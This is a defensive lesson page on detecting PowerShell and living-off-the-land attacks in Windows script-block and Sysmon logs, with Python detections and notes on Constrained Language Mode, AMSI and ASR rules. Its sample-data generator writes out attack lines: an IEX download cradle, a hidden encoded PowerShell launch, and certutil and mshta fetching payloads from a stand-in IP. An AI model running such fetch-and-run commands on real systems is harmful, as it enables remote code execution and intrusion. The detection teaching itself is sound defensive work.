PowerShell and Living-off-the-Land from the Defender's Side
Read PowerShell 4104 script-block records, including encoded and obfuscated blocks, and Sysmon event 1 command lines where signed Windows binaries (LOLBAS) are abused, then run Python detections over shipped data with benign negatives. Learn Constrained Language Mode and its limits, how AMSI inspects de-obfuscated script, and the verified Microsoft Defender attack-surface-reduction rules that prevent the same behaviour.
Contentsand lesson path
On this page
- The problem
- Step 1: Build the sample records
- Step 2: Run the hunt
- Step 3: Read each detection
- Prevention: language modes, AMSI and ASR
- Common mistakes
- Check your understanding
- Apply it
- Review prompt
Lessons of Windows & Active Directory Security
- How a Windows Domain Decides Who You Are Concept · 20 min
- Hardening a Lab Domain Through Group Policy Lab · 30 min
- Finding and Cutting Paths to Domain Admin Worked example · 25 min
- Windows Telemetry for Credential Theft and Lateral Movement Lab · 30 min
- PowerShell and Living-off-the-Land from the Defender's Side Worked example · 20 min
- Windows & Active Directory Check Knowledge check · 8 questions
What you will learn
- Enable Windows security telemetry (advanced audit policy, Sysmon, PowerShell script block logging) and recognise credential theft and lateral movement such as pass-the-hash, Kerberoasting, DCSync and living-off-the-land binary abuse in the resulting events.
- Harden a lab domain and its Windows hosts through Group Policy against a recognised baseline: tiered administration, unique local administrator passwords with Windows LAPS, credential protections, restricted RDP, LDAP signing, and removal of legacy protocols such as SMBv1, NTLMv1 and LLMNR.
01. The problem
A user opens a document that runs a macro, and little or nothing new is written to disk at first. The macro launches PowerShell, which decodes a hidden script and pulls more code from the web using tools that ship with Windows. This is the fileless, living-off-the-land style of attack: often no new executable to scan, just trusted programs behaving badly. Defenders rely instead on the traces the activity leaves in script-block logs and process telemetry, and on prevention layers that stop the behaviour.
Two sources carry most of the evidence. PowerShell script block logging writes event 4104 to the Microsoft-Windows-PowerShell/Operational log, recording the content of every script block PowerShell processes. A script block is a unit of code PowerShell compiles: a typed command, a script file, the text given with -Command or -EncodedCommand, or a string handed to Invoke-Expression (IEX). When a stub decodes a string and runs it, the decoded text is compiled as a new script block, so it appears as its own 4104 record next to the stub that produced it (PowerShell ♥ the Blue Team). The stub's record still shows the decoding code, not its result; you see both. An -EncodedCommand argument is decoded before it is compiled, so its 4104 record is readable text too.
Sysmon Event ID 1 records each process creation with its full command line and its parent. The -enc switch and its base64 argument appear there, and so does a signed Windows binary being used as a downloader.
A LOLBAS (living-off-the-land binary and script) is a legitimate signed program, such as certutil.exe or mshta.exe, that an attacker repurposes, for example to download a file. Being signed and present on every host, it slips past rules that only distrust unknown programs. The goal here: build a fixed sample of 4104 and Sysmon records, then write detections that flag the abuse while staying quiet on the benign use of the same tools. You need Python 3.10 or later and a folder ps-lab.
02. Step 1: Build the sample records
Save the generator as make_ps.py. The script-block texts are illustrative strings, not working payloads; they carry the markers a detection looks for. The generator builds the encoded parts itself, so the sample is consistent: the Sysmon command line decodes to the stub in one 4104 record, and the stub decodes to the code in the next. Run it to write both files.
"""Write ps4104.jsonl and sysmon1.jsonl: fixed PowerShell and Sysmon records.
One JSON object per line, EventData flattened, as from Get-WinEvent. All data is
synthetic: example.invalid names, documentation IPs (192.0.2.0/24) and made-up
paths. The script block texts are illustrative strings, not working payloads.
"""
import base64
import json
PS, SM = [], []
HOST = "WKS07.example.invalid"
def b64_utf16(text):
# PowerShell's -EncodedCommand takes base64 of UTF-16LE text.
return base64.b64encode(text.encode("utf-16-le")).decode()
# The chain this sample models: Word starts PowerShell with -enc <outer stub>;
# the stub decodes a second string and runs it with IEX (a download cradle).
CRADLE = "IEX (New-Object Net.WebClient).DownloadString('http://192.0.2.77/a.ps1')"
STUB = ("$e = '" + b64_utf16(CRADLE) + "'; "
"IEX ([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($e)))")
# --- PowerShell 4104 script block logging (Microsoft-Windows-PowerShell/Op) ---
def ps(t, block_id, text):
PS.append({"Id": 4104, "Channel": "PowerShell/Operational", "Time": t,
"Computer": HOST, "ScriptBlockId": block_id,
"ScriptBlockText": text})
# Benign: a download that runs nothing, and a decode that runs nothing.
ps("2026-11-16T08:05:00Z", "1f0c0a2e-0000-4000-8000-000000000001",
"Invoke-WebRequest https://intranet.example.invalid/r.csv -OutFile r.csv")
ps("2026-11-16T08:06:00Z", "1f0c0a2e-0000-4000-8000-000000000002",
"$raw = [Convert]::FromBase64String($pem); "
"$cert = [Security.Cryptography.X509Certificates.X509Certificate2]::new($raw)")
# Suspicious: the -enc stub as PowerShell compiled it (already readable) ...
ps("2026-11-16T10:22:01Z", "1f0c0a2e-0000-4000-8000-000000000003", STUB)
# ... and, as a separate record, the code the stub generated and ran with IEX.
ps("2026-11-16T10:22:01Z", "1f0c0a2e-0000-4000-8000-000000000004", CRADLE)
# Suspicious: character-array obfuscation to dodge simple string matching.
ps("2026-11-16T10:23:00Z", "1f0c0a2e-0000-4000-8000-000000000005",
"$x = [char[]](73,69,88); & (-join $x) $payload")
# --- Sysmon Event ID 1 process creation (with command line and parent) --------
def sm(t, image, cmd, parent):
SM.append({"Id": 1, "Channel": "Sysmon", "Time": t, "Computer": HOST,
"Image": image, "CommandLine": cmd, "ParentImage": parent})
SYS32 = "C:\\Windows\\System32\\"
POWERSHELL = SYS32 + "WindowsPowerShell\\v1.0\\powershell.exe"
WORD = "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE"
EXPL = "C:\\Windows\\explorer.exe"
# Benign: Word opened from the desktop, a certutil cert listing, and a scheduled
# inventory script whose switches include -ExecutionPolicy (not -enc).
sm("2026-11-16T09:00:00Z", WORD, '"' + WORD + '" /n report.docx', EXPL)
sm("2026-11-16T09:10:00Z", SYS32 + "certutil.exe",
"certutil.exe -store my", SYS32 + "cmd.exe")
sm("2026-11-16T09:15:00Z", POWERSHELL,
"powershell.exe -NoProfile -ExecutionPolicy RemoteSigned -File inv.ps1",
SYS32 + "svchost.exe")
# Suspicious: certutil used as a downloader (a living-off-the-land binary).
sm("2026-11-16T10:20:00Z", SYS32 + "certutil.exe",
"certutil.exe -urlcache -split -f http://192.0.2.77/a.exe a.exe", WORD)
# Suspicious: mshta fetching a remote script, spawned by Word.
sm("2026-11-16T10:21:00Z", SYS32 + "mshta.exe",
"mshta.exe http://192.0.2.77/a.hta", WORD)
# Suspicious: Word starting PowerShell with an encoded command (the stub above).
sm("2026-11-16T10:22:00Z", POWERSHELL,
"powershell.exe -nop -w hidden -enc " + b64_utf16(STUB), WORD)
with open("ps4104.jsonl", "w") as fh:
fh.writelines(json.dumps(e) + "\n" for e in PS)
with open("sysmon1.jsonl", "w") as fh:
fh.writelines(json.dumps(e) + "\n" for e in SM)
print(len(PS), "PowerShell records,", len(SM), "Sysmon records written")cd ps-lab
python3 make_ps.py5 PowerShell records, 6 Sysmon records written03. Step 2: Run the hunt
ps_hunt.py holds five detections. Each prints ALERT for the suspicious records and ok for the benign near-misses it correctly leaves alone. A 4104 record is named by the last three digits of its ScriptBlockId, so you can follow one record across the rules. Save it and run it.
"""Hunt for living-off-the-land activity in PowerShell 4104 and Sysmon 1 records.
Five detections, each with the benign records it must not alert on. Patterns are
deliberately simple so you can read them; real rules need tuning and context.
"""
import base64
import json
import re
LOLBINS = ("certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
"bitsadmin.exe")
OFFICE = ("winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe")
SHELLS = ("powershell.exe", "pwsh.exe")
# -e, -ec, -en, -enc ... -encodedcommand: PowerShell accepts short forms.
ENC_SWITCH = re.compile(r"\s[-/]e(?:c|nc?\w*)?\s+(\S+)", re.IGNORECASE)
DECODE = re.compile(r"frombase64string|\[char\[\]\]", re.IGNORECASE)
RUN = re.compile(r"\biex\b|invoke-expression|&\s*\(", re.IGNORECASE)
DOWNLOAD = re.compile(r"downloadstring|invoke-webrequest|net\.webclient|\biwr\b",
re.IGNORECASE)
URL_FETCH = re.compile(r"-urlcache|http://|https://", re.IGNORECASE)
ps_rows = [json.loads(line) for line in open("ps4104.jsonl")]
sm_rows = [json.loads(line) for line in open("sysmon1.jsonl")]
block_by_text = {e["ScriptBlockText"]: e["ScriptBlockId"] for e in ps_rows}
def basename(path):
return path.rsplit("\\", 1)[-1].lower()
print("== Encoded PowerShell command line (T1059.001, T1027) over Sysmon 1 ==")
for e in sm_rows:
if basename(e["Image"]) not in SHELLS:
continue
m = ENC_SWITCH.search(e["CommandLine"])
if m:
decoded = base64.b64decode(m.group(1)).decode("utf-16-le")
seen = block_by_text.get(decoded, "no 4104 record")[-3:]
print(f"ALERT 1 {e['Time']}: encoded command, same text as 4104 {seen}")
else:
print(f"ok 1 {e['Time']}: no encoded switch -- {e['CommandLine'][:27]}")
print("== Decode or obfuscation, then run (T1027) over 4104 ==")
for e in ps_rows:
text = e["ScriptBlockText"]
if DECODE.search(text) and RUN.search(text):
print(f"ALERT 4104 {e['ScriptBlockId'][-3:]}: decodes and runs the result")
elif DECODE.search(text):
print(f"ok 4104 {e['ScriptBlockId'][-3:]}: decodes data but runs nothing")
print("== Download-and-run cradle (T1059.001) over 4104 ==")
for e in ps_rows:
text = e["ScriptBlockText"]
if DOWNLOAD.search(text) and RUN.search(text):
print(f"ALERT 4104 {e['ScriptBlockId'][-3:]}: fetches and runs remote code")
elif DOWNLOAD.search(text):
print(f"ok 4104 {e['ScriptBlockId'][-3:]}: downloads a file, runs nothing")
print("== LOLBAS downloader in a command line (T1218/T1105) over Sysmon 1 ==")
for e in sm_rows:
image = basename(e["Image"])
cmd = e["CommandLine"]
if image in LOLBINS and URL_FETCH.search(cmd):
print(f"ALERT 1 {image}: fetches from the web -- {cmd[:26]}")
elif image in LOLBINS:
print(f"ok 1 {image}: no download pattern -- {cmd[:30]}")
print("== Office spawning a child process (T1204.002 then T1059) over Sysmon 1 ==")
for e in sm_rows:
parent = basename(e["ParentImage"])
child = basename(e["Image"])
if parent in OFFICE:
print(f"ALERT 1 {parent} spawned {child}")
elif child in OFFICE:
print(f"ok 1 {child}: launched by {parent}, not spawning anything")python3 ps_hunt.py== Encoded PowerShell command line (T1059.001, T1027) over Sysmon 1 ==
ok 1 2026-11-16T09:15:00Z: no encoded switch -- powershell.exe -NoProfile -
ALERT 1 2026-11-16T10:22:00Z: encoded command, same text as 4104 003
== Decode or obfuscation, then run (T1027) over 4104 ==
ok 4104 002: decodes data but runs nothing
ALERT 4104 003: decodes and runs the result
ALERT 4104 005: decodes and runs the result
== Download-and-run cradle (T1059.001) over 4104 ==
ok 4104 001: downloads a file, runs nothing
ALERT 4104 004: fetches and runs remote code
== LOLBAS downloader in a command line (T1218/T1105) over Sysmon 1 ==
ok 1 certutil.exe: no download pattern -- certutil.exe -store my
ALERT 1 certutil.exe: fetches from the web -- certutil.exe -urlcache -sp
ALERT 1 mshta.exe: fetches from the web -- mshta.exe http://192.0.2.7
== Office spawning a child process (T1204.002 then T1059) over Sysmon 1 ==
ok 1 winword.exe: launched by explorer.exe, not spawning anything
ALERT 1 winword.exe spawned certutil.exe
ALERT 1 winword.exe spawned mshta.exe
ALERT 1 winword.exe spawned powershell.exe04. Step 3: Read each detection
The first rule reads the process command line in Sysmon event 1, where an encoded command actually appears. It looks for PowerShell started with -enc or another short form of -EncodedCommand, decodes the base64 argument (UTF-16LE text) and checks whether a 4104 record holds the same text. Here it does: block 003. That join from process to script block takes you from "Word started an encoded PowerShell" to the code it ran. The scheduled inventory script stays ok. Its -ExecutionPolicy switch also starts with e, which is why the pattern accepts only the encoded-command forms (T1059.001, T1027).
The second rule flags decoding or obfuscation followed by execution inside one 4104 block: a base64 decode (FromBase64String) or a character-array join, together with IEX, Invoke-Expression or the call operator &. Block 003, the stub, and block 005, the [char[]] trick, alert. Block 002 also decodes base64, to load a certificate, but runs nothing, so it stays ok. Decoding alone is common in administration and would bury you in noise. Note what block 003 shows: the decoding code, not the result. The result is block 004.
The third rule flags a download-and-run cradle: a web download (Net.WebClient or Invoke-WebRequest) combined with IEX, which runs the downloaded text immediately. Block 004, the code the stub generated, matches both halves. Block 001 saves a CSV to a file and runs nothing, so it stays ok. The cradle never appeared in plain text on the command line; this rule sees it because 4104 logged the generated code as its own record.
The fourth rule flags a LOLBAS downloader: one of a short list of signed binaries used with a URL or the -urlcache switch. certutil.exe -store my is a legitimate certificate command and stays ok; certutil.exe -urlcache -split -f http://... and mshta.exe http://... are the same binaries pulling a payload, and alert. This is why the detection keys on the command line, not the program name: the program is trusted (T1218, T1105).
The fifth rule flags Office spawning a child process. A Word or Excel process starting certutil, mshta or powershell is the macro-to-payload step, and it rarely happens in normal use. Word opened from Explorer with no child stays ok; Word spawning any of the three alerts. Parent-child rules like this tend to be among the more reliable detections, because in most organisations the legitimate baseline is narrow.
05. Prevention: language modes, AMSI and ASR
Detection finds the activity; three Windows features try to stop it. Constrained Language Mode (CLM) restricts PowerShell to a safer subset, limiting the .NET types and COM objects a script can use, which much tooling needs; $ExecutionContext.SessionState.LanguageMode shows the current mode. CLM is valuable, but be precise about what it is: Microsoft classifies CLM, and the PowerShell execution policy, as defence-in-depth, not a security boundary, unless CLM is enforced by application control (App Control for Business or AppLocker). On its own it slows an attacker down; it does not stop a determined one.
The Antimalware Scan Interface (AMSI) lets PowerShell and Office hand script content to the registered antivirus engine for a verdict. Its strength is that it is called with the plain code the engine is about to run, after any de-obfuscation and even for code generated at run time, so a simple base64 or XOR wrapper does not hide the script from it. Its limit is that it is an interface: attackers research ways to tamper with it in memory, so treat an AMSI detection as one strong signal among several, not an unbreakable gate.
Attack surface reduction (ASR) rules in Microsoft Defender block whole classes of this behaviour by rule. Each rule has a GUID and a mode: 0 off, 1 block, 2 audit, 6 warn. Useful ones here, with verified GUIDs from the Microsoft reference, are Block all Office applications from creating child processes (d4f940ab-401b-4efc-aadc-ad5f3c50688a), which would stop the fifth detection's events at source; Block execution of potentially obfuscated scripts (5beb7efe-fd9a-4556-801d-275e5ffc04cc); and Block credential stealing from the Windows local security authority subsystem (9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2). Start a rule in audit (2) to see what it would block, logged as event 1122 in the Windows Defender Operational log, then move to block (1), logged as 1121. Microsoft notes that the LSASS rule adds no protection where LSA protection is already on, which the baseline in lesson 02 sets with RunAsPPL.
06. Common mistakes
07. Check your understanding
08. Apply it
For the skill project, extend the hunt and the prevention:
- Add two more LOLBAS command-line patterns (for example
regsvr32with a remote scriptlet andbitsadmin /transfer), each with a benign use of the same binary that must stayok. - In your isolated lab, enable the Block Office child-process ASR rule in audit mode, open a harmless test document whose macro starts
notepad.exe, and find the 1122 event it logs; then confirm the same action is blocked (1121) after you switch the rule to block. - Set a session to Constrained Language Mode and show one command that fails, then explain in a sentence why this is defence-in-depth rather than a boundary.
09. Review prompt
Without looking back, explain: what event 4104 records, and why a stub that decodes and runs a string leaves two records; why -enc is searched in the Sysmon command line, not in 4104 text; what a LOLBAS is and why the rule keys on the command line; why Office spawning a child is a useful signal; why CLM and the execution policy are defence-in-depth, not boundaries; what AMSI inspects and its limit; and how ASR audit and block modes differ, with their event IDs.
References
Your progress
Reading state
Sign in to save that you finished reading this lesson.
Prove this skill
8 questions · about 6 minutes · scored automatically. Marking a lesson as read never demonstrates a skill.